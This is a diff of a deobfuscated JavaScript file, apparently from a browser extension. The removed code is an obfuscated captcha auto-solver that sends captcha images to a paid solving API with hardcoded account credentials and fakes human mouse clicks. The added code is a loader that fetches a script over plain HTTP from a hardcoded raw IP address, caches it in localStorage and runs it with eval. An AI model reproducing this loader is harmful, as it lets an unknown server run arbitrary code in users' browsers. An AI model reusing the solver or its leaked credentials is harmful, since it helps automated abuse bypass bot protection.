diff --git a/output.js b/output.js
index 995036b..96b4fad 100644
--- a/output.js
+++ b/output.js
@@ -1,971 +1,121 @@
-//Wed Jul 02 2025 06:09:57 GMT+0000 (Coordinated Universal Time)
+//Wed Jul 02 2025 06:13:49 GMT+0000 (Coordinated Universal Time)
//Base:https://github.com/echo094/decode-js
//Modify:https://github.com/smallfawn/decode_action
-function _0x2bc3(_0x5e0aa9, _0x112568) {
- const _0x54c96f = _0x55b8();
- _0x2bc3 = function (_0x51deda, _0x28a7e4) {
- _0x51deda = _0x51deda - 241;
- let _0x2ef69d = _0x54c96f[_0x51deda];
- return _0x2ef69d;
- };
- return _0x2bc3(_0x5e0aa9, _0x112568);
+const 服务器 = "103.148.58.86:5003";
+let IP = 服务器;
+var XxHttp = class {
+ static ["Get"](_0x3b4fb1) {
+ return new Promise(_0x1019c0 => {
+ chrome.runtime.sendMessage({
+ "act": "发送网络请求3_Get",
+ "url": _0x3b4fb1
+ }, _0x5588db => {
+ _0x1019c0(_0x5588db);
+ });
+ });
+ }
+ static ["Post"](_0x5975ad, _0x3cca4c, _0x5c7ae5 = {}) {
+ return new Promise(_0x332848 => {
+ chrome.runtime.sendMessage({
+ "act": "发送网络请求3_Post",
+ "url": _0x5975ad,
+ "data": _0x3cca4c,
+ "headers": _0x5c7ae5
+ }, _0xb8dca => {
+ _0x332848(_0xb8dca);
+ });
+ });
+ }
+};
+async function HttpRequest(_0x31f9ef, _0x58ca50 = "GET", _0xe5871e = {}, _0x473fa3 = {}, _0x27a14a = 5000) {
+ return new Promise((_0x10ade6, _0x2afcee) => {
+ {
+ let _0x5a29b4 = {
+ "method": _0x58ca50,
+ "headers": _0x473fa3
+ };
+ _0x58ca50 === "POST" && (_0x5a29b4.body = JSON.stringify(_0xe5871e));
+ const _0x2d84fe = setTimeout(() => {
+ _0x2afcee(new Error("请求超时"));
+ }, _0x27a14a);
+ chrome.runtime.sendMessage({
+ "act": "发送网络请求2",
+ "url": _0x31f9ef,
+ "data": _0x5a29b4
+ }, _0x23dbb9 => {
+ clearTimeout(_0x2d84fe);
+ _0x10ade6(_0x23dbb9);
+ });
+ }
+ });
}
-const _0x30b83a = _0x2bc3;
-(function (_0x509800, _0x41965d) {
- (function () {})();
- const _0x52c110 = _0x2bc3,
- _0x1f2e49 = _0x509800();
+async function 加载核心脚本() {
+ let _0x12c0a4 = localStorage.getItem("核心脚本");
+ if (_0x12c0a4) {
+ console.log("本地存在核心脚本,尝试从网络加载");
+ } else {
+ {
+ console.log("本地不存在核心脚本,从网络加载");
+ await 无限制从网络加载核心脚本(10000);
+ return;
+ }
+ }
+ try {
+ {
+ let _0x26536c = "http://" + IP + "/Getinfo",
+ _0x5de2fe = await HttpRequest(_0x26536c, "GET", {}, {}, 5000);
+ if (_0x5de2fe.isError) {
+ console.log("网络失败,加载本地脚本");
+ eval(_0x12c0a4);
+ return;
+ }
+ if (_0x5de2fe.data) {
+ {
+ let _0x5176aa = localStorage.getItem("版本号");
+ console.log("当前的版本号", _0x5176aa);
+ _0x5de2fe.data.version == _0x5176aa ? (console.log("版本号一致,直接加载"), eval(_0x12c0a4)) : (console.log("版本号不一致,重新申请"), await 从网络加载核心脚本(3, 10000));
+ }
+ }
+ }
+ } catch (_0x21fe5a) {
+ console.log("网络请求超时或失败,加载本地脚本");
+ eval(_0x12c0a4);
+ }
+}
+async function 从网络加载核心脚本(_0x2af206 = 3, _0x210050 = 10000) {
+ let _0x3b8058 = 0;
+ while (_0x3b8058 < _0x2af206) {
+ try {
+ {
+ let _0x56099b = "http://" + IP + "/File/0.js?a=" + Math.random(),
+ _0x1e747d = await HttpRequest(_0x56099b, "GET", {}, {}, _0x210050),
+ _0x22052e = _0x1e747d.txt;
+ localStorage.setItem("核心脚本", _0x22052e);
+ console.log("核心脚本加载成功");
+ eval(_0x22052e);
+ return;
+ }
+ } catch (_0x2afd13) {
+ _0x3b8058++;
+ console.error("从网络加载核心脚本失败,重试第 " + _0x3b8058 + " 次", _0x2afd13);
+ _0x3b8058 < _0x2af206 ? await new Promise(_0x983b7b => setTimeout(_0x983b7b, _0x210050)) : console.error("所有重试均失败");
+ }
+ }
+}
+async function 无限制从网络加载核心脚本(_0x173c5f = 10000) {
while (true) {
try {
- const _0x43dd1d = parseInt(_0x52c110(433)) / 1 * (parseInt(_0x52c110(264)) / 2) + parseInt(_0x52c110(273)) / 3 + parseInt(_0x52c110(405)) / 4 * (-parseInt(_0x52c110(326)) / 5) + -parseInt(_0x52c110(414)) / 6 * (-parseInt(_0x52c110(381)) / 7) + -parseInt(_0x52c110(310)) / 8 + -parseInt(_0x52c110(308)) / 9 + -parseInt(_0x52c110(315)) / 10 * (-parseInt(_0x52c110(396)) / 11);
- if (_0x43dd1d === _0x41965d) break;else _0x1f2e49.push(_0x1f2e49.shift());
- } catch (_0x26bb69) {
- _0x1f2e49.push(_0x1f2e49.shift());
- }
- }
-})(_0x55b8, 458857);
-const CAPTCHA_CONFIG = {
- "username": "37VAFj",
- "password": "37VAF0Nj",
- "typeid": "27",
- "softid": _0x30b83a(309),
- "apiUrl": "https://api.ttshitu.com/predict",
- "reportUrl": _0x30b83a(362)
-};
-function initCaptchaAutoSolver() {
- const _0x50eea7 = _0x30b83a;
- window.isProcessingCaptcha = false;
- window.lastCaptchaTime = 0;
- window[_0x50eea7(353)] = null;
- window[_0x50eea7(366)] = setInterval(detectAndSolveCaptcha, 2000);
- console[_0x50eea7(351)](_0x50eea7(357));
-}
-function stopCaptchaAutoSolver() {
- const _0x9f9e24 = _0x30b83a;
- window[_0x9f9e24(366)] && (clearInterval(window[_0x9f9e24(366)]), console[_0x9f9e24(351)](_0x9f9e24(342)));
-}
-async function detectAndSolveCaptcha() {
- const _0x5cb18f = _0x30b83a;
- if (window.lastCaptchaTime && Date[_0x5cb18f(276)]() - window.lastCaptchaTime < 3000) return;
- if (window.isProcessingCaptcha) return;
- window[_0x5cb18f(353)] && (await reportError(window.lastCaptchaId), window.lastCaptchaId = null);
- await new Promise(_0x55a8f5 => setTimeout(_0x55a8f5, 1000));
- const _0x30250a = document[_0x5cb18f(354)](_0x5cb18f(403));
- if (_0x30250a) {
- const _0x144130 = _0x30250a[_0x5cb18f(409)](_0x5cb18f(244));
- if (_0x144130.length === 9) {
- {
- console.log(_0x5cb18f(330));
- await solveGridCaptcha();
- return;
- }
- }
- }
- const _0x47d017 = document.querySelector(_0x5cb18f(307));
- if (_0x47d017) {
- {
- const _0x516458 = _0x47d017[_0x5cb18f(317)] || "";
- if (_0x516458[_0x5cb18f(314)](_0x5cb18f(419)) && _0x516458[_0x5cb18f(314)](_0x5cb18f(337))) {
- console.log(_0x5cb18f(296));
- await solveType2Captcha();
- return;
- }
- }
- }
- const _0x26411c = document[_0x5cb18f(354)](_0x5cb18f(248)) || document.querySelector("img[id*=\"captcha\"], img[class*=\"captcha\"]");
- _0x26411c && (console.log(_0x5cb18f(282)), await solveType1Captcha());
-}
-async function refreshType1Captcha() {
- const _0x380f2c = _0x30b83a;
- try {
- const _0x5683fc = [_0x380f2c(252), _0x380f2c(258), _0x380f2c(391), _0x380f2c(367)];
- let _0x243fd9;
- for (const _0x126904 of _0x5683fc) {
- _0x243fd9 = document[_0x380f2c(354)](_0x126904);
- if (_0x243fd9) break;
- }
- if (_0x243fd9) {
- {
- const _0x50d75d = new MouseEvent(_0x380f2c(293), {
- "view": window,
- "bubbles": true,
- "cancelable": true
- });
- _0x243fd9[_0x380f2c(429)](_0x50d75d);
- console[_0x380f2c(351)]("[验证码刷新] 已触发点击");
- const _0x4e4ebd = document.querySelector(_0x380f2c(248));
- if (_0x4e4ebd?.["src"]) {
- const _0x1f9946 = _0x4e4ebd[_0x380f2c(299)];
- await waitForChange(() => _0x4e4ebd[_0x380f2c(299)] !== _0x1f9946, 2000);
- }
- }
- } else console[_0x380f2c(412)](_0x380f2c(292));
- } catch (_0x139489) {
- {
- console[_0x380f2c(412)](_0x380f2c(256), _0x139489);
- throw _0x139489;
- }
- }
-}
-async function getImageBase64(_0x248fa8) {
- return new Promise(_0x5e5e80 => {
- const _0xbdfce6 = _0x2bc3,
- _0x5ea6dd = document[_0xbdfce6(334)](_0xbdfce6(389)),
- _0x27d09f = _0x5ea6dd.getContext("2d");
- _0x5ea6dd[_0xbdfce6(407)] = _0x248fa8[_0xbdfce6(407)];
- _0x5ea6dd[_0xbdfce6(417)] = _0x248fa8.height;
- _0x248fa8.setAttribute(_0xbdfce6(400), _0xbdfce6(442));
- function _0x1cfa23() {
- const _0x2d3cac = _0xbdfce6;
- try {
- {
- _0x27d09f[_0x2d3cac(348)](_0x248fa8, 0, 0, _0x5ea6dd[_0x2d3cac(407)], _0x5ea6dd.height);
- const _0x4c0279 = _0x5ea6dd[_0x2d3cac(356)](_0x2d3cac(251)).split(",")[1];
- _0x5e5e80(_0x4c0279);
- }
- } catch (_0x309414) {
- console[_0x2d3cac(412)]("获取图片Base64失败:", _0x309414);
- _0x5e5e80(null);
- }
- }
- _0x248fa8[_0xbdfce6(349)] ? _0x1cfa23() : (_0x248fa8[_0xbdfce6(286)] = _0x1cfa23, _0x248fa8[_0xbdfce6(301)] = () => _0x5e5e80(null));
- });
-}
-function getElementPosition(_0xdfdfbd) {
- const _0x3252b0 = _0x30b83a,
- _0x436167 = _0xdfdfbd.getBoundingClientRect();
- return {
- "x": _0x436167.left + window[_0x3252b0(413)],
- "y": _0x436167[_0x3252b0(399)] + window[_0x3252b0(268)],
- "width": _0x436167.width,
- "height": _0x436167[_0x3252b0(417)]
- };
-}
-async function simulateType1Clicks(_0x589751, _0x3f8d82) {
- const _0x596837 = _0x30b83a;
- console[_0x596837(351)]("[类型1点击] 开始模拟点击流程");
- const _0x12f906 = getElementPosition(_0x589751);
- console[_0x596837(351)](_0x596837(247) + _0x12f906.x + _0x596837(418) + _0x12f906.y + _0x596837(355) + _0x12f906[_0x596837(407)] + _0x596837(328) + _0x12f906.height);
- const _0x39c853 = _0x3f8d82[_0x596837(280)]("|"),
- _0x1e4188 = _0x39c853[_0x596837(250)](_0x19e0b9 => {
- const _0x97b0cf = _0x596837,
- [_0x202fbd, _0x5c94d6] = _0x19e0b9[_0x97b0cf(280)](",").map(Number);
- return {
- "x": _0x202fbd,
- "y": _0x5c94d6
- };
- });
- for (let _0x3ecf6b = 0; _0x3ecf6b < _0x1e4188[_0x596837(368)]; _0x3ecf6b++) {
- const _0x5cffa4 = _0x1e4188[_0x3ecf6b],
- _0x21cd99 = _0x12f906.x + _0x5cffa4.x,
- _0x4bbd58 = _0x12f906.y + _0x5cffa4.y;
- console[_0x596837(351)](_0x596837(432) + (_0x3ecf6b + 1) + " 个点: (" + _0x21cd99 + ", " + _0x4bbd58 + ")");
- await simulateClick(_0x21cd99, _0x4bbd58);
- await sleep(500);
- }
- console[_0x596837(351)](_0x596837(255));
-}
-async function solveType1Captcha() {
- const _0x7f43ad = _0x30b83a;
- window[_0x7f43ad(343)] = true;
- console[_0x7f43ad(351)](_0x7f43ad(425));
- try {
- (await isSpinnerVisible()) && (console.log("[类型1处理] 检测到加载动画,等待加载完成..."), await waitForSpinnerToDisappear());
- await refreshType1Captcha();
- await new Promise(_0x2a9975 => setTimeout(_0x2a9975, 500));
- (await isSpinnerVisible()) && (console.log(_0x7f43ad(398)), await waitForSpinnerToDisappear());
- const _0x385327 = document[_0x7f43ad(354)]("#captchaImg");
- if (!_0x385327) {
- console[_0x7f43ad(412)]("[类型1处理] 未找到验证码图片元素");
+ let _0x39d9dd = "http://" + IP + "/File/0.js?a=" + Math.random(),
+ _0x55cce6 = await HttpRequest(_0x39d9dd, "GET", {}, {}, _0x173c5f),
+ _0x859e9b = _0x55cce6.txt;
+ localStorage.setItem("核心脚本", _0x859e9b);
+ console.log("核心脚本加载成功");
+ eval(_0x859e9b);
return;
- }
- await waitForImageLoad(_0x385327);
- await new Promise(_0x52a0c6 => setTimeout(_0x52a0c6, 1500));
- const _0x318b84 = document[_0x7f43ad(354)](_0x7f43ad(438)) || document[_0x7f43ad(354)](_0x7f43ad(388));
- if (!_0x318b84) {
- {
- console[_0x7f43ad(412)](_0x7f43ad(305));
- return;
- }
- }
- const _0x741aaf = await getImageBase64(_0x385327);
- if (!_0x741aaf) {
- console[_0x7f43ad(412)](_0x7f43ad(262));
- return;
- }
- const _0x11ec2b = _0x318b84[_0x7f43ad(317)][_0x7f43ad(294)]();
- console[_0x7f43ad(351)](_0x7f43ad(431) + _0x11ec2b);
- const _0x52400e = await translateText(_0x11ec2b);
- console[_0x7f43ad(351)](_0x7f43ad(359) + _0x52400e);
- const _0x4cd79a = {
- "username": CAPTCHA_CONFIG[_0x7f43ad(420)],
- "password": CAPTCHA_CONFIG[_0x7f43ad(320)],
- "typeid": CAPTCHA_CONFIG[_0x7f43ad(321)],
- "softid": CAPTCHA_CONFIG[_0x7f43ad(318)],
- "remark": _0x52400e,
- "image": _0x741aaf,
- "prompt": _0x11ec2b
- };
- console[_0x7f43ad(351)](_0x7f43ad(270));
- const _0x5b6239 = await fetch(CAPTCHA_CONFIG[_0x7f43ad(311)], {
- "method": _0x7f43ad(249),
- "headers": {
- "Content-Type": _0x7f43ad(289)
- },
- "body": JSON[_0x7f43ad(319)](_0x4cd79a)
- }),
- _0x148ac5 = await _0x5b6239[_0x7f43ad(410)]();
- _0x148ac5[_0x7f43ad(360)] ? (console[_0x7f43ad(351)](_0x7f43ad(441) + _0x148ac5[_0x7f43ad(369)][_0x7f43ad(435)]), window[_0x7f43ad(353)] = _0x148ac5[_0x7f43ad(369)].id, await simulateType1Clicks(_0x385327, _0x148ac5[_0x7f43ad(369)].result)) : console[_0x7f43ad(412)]("[类型1处理] 识别失败: " + _0x148ac5[_0x7f43ad(377)]);
- } catch (_0x13d1b6) {
- console.error(_0x7f43ad(316), _0x13d1b6);
- } finally {
- window[_0x7f43ad(343)] = false;
- window[_0x7f43ad(380)] = Date[_0x7f43ad(276)]();
- }
-}
-async function solveType2Captcha() {
- const _0x1b2ed8 = _0x30b83a;
- window[_0x1b2ed8(343)] = true;
- console[_0x1b2ed8(351)]("[类型2处理] 开始处理多图验证码");
- try {
- {
- (await isSpinnerVisible()) && (console.log(_0x1b2ed8(300)), await waitForSpinnerToDisappear());
- await refreshType2Captcha();
- (await isSpinnerVisible()) && (console[_0x1b2ed8(351)]("[类型2处理] 刷新后检测到加载动画,等待加载完成..."), await waitForSpinnerToDisappear());
- const _0x28008f = document.querySelector(_0x1b2ed8(358));
- if (!_0x28008f) {
- console.error(_0x1b2ed8(291));
- return;
- }
- const _0x44178b = Array[_0x1b2ed8(373)](_0x28008f[_0x1b2ed8(409)](_0x1b2ed8(422)));
- if (_0x44178b.length < 2) {
- console[_0x1b2ed8(412)](_0x1b2ed8(257), _0x44178b[_0x1b2ed8(368)]);
- return;
- }
- for (const _0x1b1009 of _0x44178b) {
- await waitForImageLoad(_0x1b1009);
- }
- await new Promise(_0x19df62 => setTimeout(_0x19df62, 1500));
- const _0x4d0cec = document[_0x1b2ed8(354)](_0x1b2ed8(430)) || document[_0x1b2ed8(354)]("div._3S0ERvXx.VGrF02Bc");
- if (!_0x4d0cec) {
- console[_0x1b2ed8(412)](_0x1b2ed8(379));
- return;
- }
- const _0x5b8e4a = _0x4d0cec.textContent.trim();
- console[_0x1b2ed8(351)](_0x1b2ed8(340) + _0x5b8e4a);
- const _0x3c55b0 = await translateText(_0x5b8e4a);
- console[_0x1b2ed8(351)](_0x1b2ed8(283) + _0x3c55b0);
- const _0x2b9bd6 = await mergeType2CaptchaImages(_0x44178b);
- if (!_0x2b9bd6) {
- {
- console.error(_0x1b2ed8(361));
- return;
- }
- }
- const _0x163a03 = {
- "username": CAPTCHA_CONFIG[_0x1b2ed8(420)],
- "password": CAPTCHA_CONFIG.password,
- "typeid": CAPTCHA_CONFIG[_0x1b2ed8(321)],
- "softid": CAPTCHA_CONFIG[_0x1b2ed8(318)],
- "remark": _0x3c55b0,
- "image": _0x2b9bd6[_0x1b2ed8(242)],
- "prompt": _0x5b8e4a
- };
- console.log(_0x1b2ed8(390));
- const _0x3cc6ee = await fetch(CAPTCHA_CONFIG[_0x1b2ed8(311)], {
- "method": _0x1b2ed8(249),
- "headers": {
- "Content-Type": _0x1b2ed8(289)
- },
- "body": JSON[_0x1b2ed8(319)](_0x163a03)
- }),
- _0x24533c = await _0x3cc6ee[_0x1b2ed8(410)]();
- if (_0x24533c[_0x1b2ed8(360)]) {
- {
- console[_0x1b2ed8(351)]("[类型2处理] 识别成功: " + _0x24533c[_0x1b2ed8(369)][_0x1b2ed8(435)]);
- window[_0x1b2ed8(353)] = _0x24533c[_0x1b2ed8(369)].id;
- const _0x533318 = getElementPosition(_0x28008f);
- await simulateType2Clicks(_0x533318, _0x2b9bd6, _0x24533c[_0x1b2ed8(369)].result);
- (await isSpinnerVisible()) && (console[_0x1b2ed8(351)](_0x1b2ed8(426)), await waitForSpinnerToDisappear());
- await clickConfirmButton();
- (await isSpinnerVisible()) && (console[_0x1b2ed8(351)](_0x1b2ed8(347)), await waitForSpinnerToDisappear());
- }
- } else console[_0x1b2ed8(412)](_0x1b2ed8(303) + _0x24533c[_0x1b2ed8(377)]);
- }
- } catch (_0x39dcff) {
- console[_0x1b2ed8(412)](_0x1b2ed8(416), _0x39dcff);
- } finally {
- window[_0x1b2ed8(343)] = false;
- window[_0x1b2ed8(380)] = Date[_0x1b2ed8(276)]();
- }
-}
-async function mergeType2CaptchaImages(_0x215b8b) {
- return new Promise(_0x37a7d3 => {
- const _0x3407ed = _0x2bc3;
- try {
- const _0x2ca2c2 = document[_0x3407ed(334)](_0x3407ed(389)),
- _0x1fcc3e = _0x2ca2c2.getContext("2d"),
- _0x2d1661 = _0x215b8b[0][_0x3407ed(407)] + 13 + _0x215b8b[1][_0x3407ed(407)],
- _0x1865be = Math.max(_0x215b8b[0][_0x3407ed(417)], _0x215b8b[1][_0x3407ed(417)]);
- _0x2ca2c2.width = _0x2d1661;
- _0x2ca2c2[_0x3407ed(417)] = _0x1865be;
- _0x1fcc3e.drawImage(_0x215b8b[0], 0, 0, _0x215b8b[0][_0x3407ed(407)], _0x215b8b[0][_0x3407ed(417)]);
- _0x1fcc3e.drawImage(_0x215b8b[1], _0x215b8b[0][_0x3407ed(407)] + 13, 0, _0x215b8b[1][_0x3407ed(407)], _0x215b8b[1][_0x3407ed(417)]);
- const _0x153130 = _0x2ca2c2[_0x3407ed(356)](_0x3407ed(251))[_0x3407ed(280)](",")[1];
- _0x37a7d3({
- "base64": _0x153130,
- "width": _0x2d1661,
- "height": _0x1865be,
- "image1Width": _0x215b8b[0][_0x3407ed(407)],
- "image1Height": _0x215b8b[0][_0x3407ed(417)],
- "image2Width": _0x215b8b[1][_0x3407ed(407)],
- "image2Height": _0x215b8b[1][_0x3407ed(417)]
- });
- } catch (_0x81f56b) {
- console[_0x3407ed(412)]("[图片合并] 合并图片时出错:", _0x81f56b);
- _0x37a7d3(null);
- }
- });
-}
-function _0x55b8() {
- const _0x36354c = ["[类型1处理] 刷新后检测到加载动画,等待加载完成...", "top", "crossOrigin", "#verification > div > div > div > div.btnWrap-1LOpd > div.text-gSdWn.textBtn-2BG0E", ") 原始坐标: (", "._3Gh2KHBV", "[类型2点击] 合并图片尺寸: width=", "69292sCupGw", "display", "width", "[九宫格处理] 图片", "querySelectorAll", "json", "[九宫格处理] 验证码加载超时", "error", "pageXOffset", "18nvlabc", "text", "[类型2处理] 处理验证码时出错:", "height", ", y=", "Figure 1", "username", "readyState", "._2BsY-ufz", "style", "[九宫格处理] 刷新后验证码加载超时", "[类型1处理] 开始处理单图验证码", "[类型2处理] 点击后检测到加载动画,等待完成...", "[九宫格处理] 翻译结果: ", "type", "dispatchEvent", "div.subTitle-3S0ER.subTitle-VGrF0", "[类型1处理] 验证码提示: ", "[类型1点击] 准备点击第 ", "1iFbDis", "个点: (", "result", "加载失败,尺寸无效", "图片尺寸:", "#Picture > div._37VAF0Np > div._2Alt0zsN", "none", "[九宫格处理] 未找到提示词元素", "[类型1处理] 识别成功: ", "anonymous", "[九宫格确认] 点击确认按钮 (", "base64", "[九宫格确认] 未找到确认按钮", "img.lazy-image", "", "[九宫格刷新] 等待加载完成...", "[类型1点击] 图片位置: x=", "#captchaImg", "POST", "map", "image/png", "._2zehNgas", "?inputtext=", "[九宫格处理] 处理验证码时出错:", "[类型1点击] 模拟点击流程完成", "[验证码刷新] 出错:", "[类型2处理] 未找到足够的验证码图片元素,当前找到:", ".ZVIQM964 svg", ") 的元素", "mousemove", "[九宫格处理] 识别失败: ", "[类型1处理] 验证码图片的Base64数据为空", "[类型2点击] 准备点击第 ", "980890yJsISk", "add", "options", "[九宫格处理] 未找到完整的九宫格图片元素,当前找到:", "pageYOffset", "[九宫格处理] 识别成功: ", "[类型1处理] 正在调用打码平台API...", "网络请求异常", "getBoundingClientRect", "1060710CYeYwg", "[九宫格合并] 需要9张图片", "round", "now", "remove", "mouseover", "[九宫格处理] 验证图片加载状态...", "split", "
", "[检测模块] 检测到单图验证码", "[类型2处理] 翻译结果: ", "mouseout", "[九宫格处理] 未找到验证码图片容器", "onload", "mousedown", "._2tSNOCuL", "application/json", "[类型2点击] 开始模拟点击流程 (基于合并后大图)", "[类型2处理] 未找到验证码图片容器", "[验证码刷新] 错误:未找到刷新按钮", "click", "trim", "._3Kspx2NT._3rODZQlY._1-CtAMMT._142Hsqej._3_x4R_c5", "[检测模块] 检测到双图验证码", "[九宫格点击] 点击第", "[类型2点击] 无效的坐标字符串", "src", "[类型2处理] 检测到加载动画,等待加载完成...", "onerror", "无法找到位于 (", "[类型2处理] 识别失败: ", ".picture-img-2BsY-", "[类型1处理] 未找到提示词元素", "[九宫格处理] 等待验证码完全加载...", "div[role=\"dialog\"]", "1801818CzTSNn", "ef8afb78e402495484642ea5deb8d443", "4003304CThNhd", "apiUrl", "active", "[九宫格刷新] 触发刷新...", "includes", "3210dDHUxN", "[类型1处理] 处理验证码时出错:", "textContent", "softid", "stringify", "password", "typeid", "[报错功能] 报错成功", "scrollX", "visibility", " 个点: (", "145reVQTI", "[类型2点击] 准备点击确认按钮,位置: (", ", height=", "._3Gh2KHBV img.lazy-image", "[检测模块] 检测到九宫格验证码", "[类型2点击] 确认按钮点击完成", "[类型2点击] 未找到确认按钮", "div._3S0ERvXx._24_syvQ2", "createElement", "getComputedStyle", "GET", "Figure 2", ".picWrap-1DemK", "[类型2处理] 已触发验证码刷新", "[类型2处理] 验证码提示: ", ".btn-3Kspx.primary-3rODZ.loose-1-CtA.xl-142Hs.btn-1je6A", "[系统初始化] 验证码自动识别系统已停止", "isProcessingCaptcha", "naturalWidth", "hidden", "filter", "[类型2处理] 确认后检测到加载动画,等待完成...", "drawImage", "complete", "[九宫格点击] 开始模拟点击 (容器位置:", "log", "[类型2处理] 刷新验证码时出错:", "lastCaptchaId", "querySelector", ", width=", "toDataURL", "[系统初始化] 验证码自动识别系统已启动", "._1DemKYKR", "[类型1处理] 翻译结果: ", "success", "[类型2处理] 合并验证码图片失败", "https://api.ttshitu.com/reporterror.json", "[九宫格刷新] 加载超时", "random", "[九宫格处理] 确认后加载超时", "captchaDetectionInterval", ".refresh-27d6x .icon-ZVIQM svg", "length", "data", "[九宫格处理] 验证码提示: ", "[九宫格处理] 合并验证码图片失败", "[九宫格点击] 无效坐标: ", "from", "classList", "个点击点", "warn", "message", "[类型2点击] 点击确认按钮时出错:", "[类型2处理] 未找到提示词元素", "lastCaptchaTime", "1568959CuzgLS", "elementFromPoint", "[九宫格刷新] 刷新出错:", "mouseup", "[九宫格点击] 无效坐标", ".gSdWn7Dw._1FtpsoBN", "load", ".picture-text-2Alt0", "canvas", "[类型2处理] 正在调用打码平台API...", ".refreshSvg-2zehN", "left", "text/html", "[类型2点击] 模拟点击流程完成", "substring", "4983hhiATw", "._3Kspx2NT._3rODZQlY._1-CtAMMT._142Hsqej._1je6AsL4"];
- _0x55b8 = function () {
- return _0x36354c;
- };
- return _0x55b8();
-}
-async function simulateType2Clicks(_0x1b6db4, _0x3a9f8d, _0x10afc0) {
- const _0x2afe79 = _0x30b83a;
- console.log(_0x2afe79(290));
- console.log("[类型2点击] 容器位置: x=" + _0x1b6db4.x + _0x2afe79(418) + _0x1b6db4.y);
- console[_0x2afe79(351)](_0x2afe79(404) + _0x3a9f8d.width + _0x2afe79(328) + _0x3a9f8d[_0x2afe79(417)]);
- const _0x1ffe71 = _0x10afc0[_0x2afe79(280)]("|")[_0x2afe79(346)](Boolean);
- if (_0x1ffe71[_0x2afe79(368)] === 0) {
- console.error(_0x2afe79(298));
- return;
- }
- const _0x1aed22 = _0x1ffe71.map(_0x26f73c => {
- {
- const [_0x307174, _0x33b3e0] = _0x26f73c.split(",").map(Number);
- return {
- "x": _0x307174,
- "y": _0x33b3e0
- };
- }
- });
- console.log("[类型2点击] 解析到" + _0x1aed22[_0x2afe79(368)] + _0x2afe79(375));
- for (let _0x57d0f2 = 0; _0x57d0f2 < _0x1aed22.length; _0x57d0f2++) {
- const _0x51f497 = _0x1aed22[_0x57d0f2],
- _0xf8eb01 = _0x1b6db4.x + _0x51f497.x,
- _0x3b33b2 = _0x1b6db4.y + _0x51f497.y;
- console.log(_0x2afe79(263) + (_0x57d0f2 + 1) + _0x2afe79(325) + _0xf8eb01 + ", " + _0x3b33b2 + ") - 原始坐标: (" + _0x51f497.x + ", " + _0x51f497.y + ")");
- await simulateClick(_0xf8eb01, _0x3b33b2);
- await sleep(500 + Math.random() * 300);
- }
- console.log(_0x2afe79(394));
-}
-async function refreshType2Captcha() {
- const _0x25d5a1 = _0x30b83a;
- try {
- const _0x4312ae = document[_0x25d5a1(354)](_0x25d5a1(401));
- if (_0x4312ae) {
- const _0x3d28dd = new MouseEvent(_0x25d5a1(293), {
- "view": window,
- "bubbles": true,
- "cancelable": true
- });
- _0x4312ae[_0x25d5a1(429)](_0x3d28dd);
- console.log(_0x25d5a1(339));
- await waitForChange(() => {
- const _0x433728 = _0x25d5a1,
- _0x9c2289 = document[_0x433728(354)](_0x433728(338));
- if (!_0x9c2289) return false;
- const _0x32ade0 = _0x9c2289[_0x433728(409)](_0x433728(304));
- return _0x32ade0 && _0x32ade0[_0x433728(368)] >= 2;
- }, 3000);
- }
- } catch (_0x15a840) {
- {
- console[_0x25d5a1(412)](_0x25d5a1(352), _0x15a840);
- throw _0x15a840;
+ } catch (_0x3e043f) {
+ console.error("从网络加载核心脚本失败,继续重试", _0x3e043f);
+ await new Promise(_0x118336 => setTimeout(_0x118336, _0x173c5f));
}
}
}
-async function clickConfirmButton() {
- const _0x249f03 = _0x30b83a;
- try {
- {
- const _0x174eb5 = document[_0x249f03(354)](_0x249f03(397)) || document.querySelector(_0x249f03(341));
- if (!_0x174eb5) {
- console[_0x249f03(412)](_0x249f03(332));
- return;
- }
- const _0x13991b = _0x174eb5[_0x249f03(272)](),
- _0x1a1101 = _0x13991b[_0x249f03(392)] + _0x13991b[_0x249f03(407)] / 2,
- _0x3a2762 = _0x13991b.top + _0x13991b[_0x249f03(417)] / 2;
- console[_0x249f03(351)](_0x249f03(327) + _0x1a1101 + ", " + _0x3a2762 + ")");
- const _0xc62168 = new MouseEvent(_0x249f03(278), {
- "view": window,
- "bubbles": true,
- "cancelable": true,
- "clientX": _0x1a1101,
- "clientY": _0x3a2762
- });
- _0x174eb5[_0x249f03(429)](_0xc62168);
- await sleep(50 + Math[_0x249f03(364)]() * 100);
- const _0x16e315 = new MouseEvent(_0x249f03(287), {
- "view": window,
- "bubbles": true,
- "cancelable": true,
- "clientX": _0x1a1101,
- "clientY": _0x3a2762,
- "button": 0
- });
- _0x174eb5[_0x249f03(429)](_0x16e315);
- _0x174eb5[_0x249f03(374)][_0x249f03(265)](_0x249f03(312));
- await sleep(100 + Math[_0x249f03(364)]() * 100);
- const _0x3ddf7a = new MouseEvent(_0x249f03(384), {
- "view": window,
- "bubbles": true,
- "cancelable": true,
- "clientX": _0x1a1101,
- "clientY": _0x3a2762,
- "button": 0
- });
- _0x174eb5[_0x249f03(429)](_0x3ddf7a);
- const _0x4348bd = new MouseEvent("click", {
- "view": window,
- "bubbles": true,
- "cancelable": true,
- "clientX": _0x1a1101,
- "clientY": _0x3a2762,
- "button": 0
- });
- _0x174eb5[_0x249f03(429)](_0x4348bd);
- _0x174eb5[_0x249f03(374)][_0x249f03(277)]("active");
- await sleep(50 + Math.random() * 100);
- const _0x155c9e = new MouseEvent(_0x249f03(284), {
- "view": window,
- "bubbles": true,
- "cancelable": true,
- "clientX": _0x1a1101 + 10,
- "clientY": _0x3a2762 + 10
- });
- _0x174eb5[_0x249f03(429)](_0x155c9e);
- console[_0x249f03(351)](_0x249f03(331));
- }
- } catch (_0x5ba727) {
- console.error(_0x249f03(378), _0x5ba727);
- }
-}
-async function solveGridCaptcha() {
- const _0x2aacf6 = _0x30b83a;
- window.isProcessingCaptcha = true;
- console[_0x2aacf6(351)]("[九宫格处理] 开始处理九宫格验证码");
- try {
- console[_0x2aacf6(351)](_0x2aacf6(306));
- if (!(await waitForCaptchaReady())) {
- console[_0x2aacf6(412)](_0x2aacf6(411));
- return;
- }
- await refreshGridCaptcha();
- console.log("[九宫格处理] 等待刷新后验证码加载...");
- if (!(await waitForCaptchaReady())) {
- console.error(_0x2aacf6(424));
- return;
- }
- const _0x2e296b = document[_0x2aacf6(354)](_0x2aacf6(403));
- if (!_0x2e296b) {
- console[_0x2aacf6(412)](_0x2aacf6(285));
- return;
- }
- const _0x1c6278 = Array.from(_0x2e296b.querySelectorAll(_0x2aacf6(244)));
- if (_0x1c6278[_0x2aacf6(368)] !== 9) {
- console.error(_0x2aacf6(267), _0x1c6278[_0x2aacf6(368)]);
- return;
- }
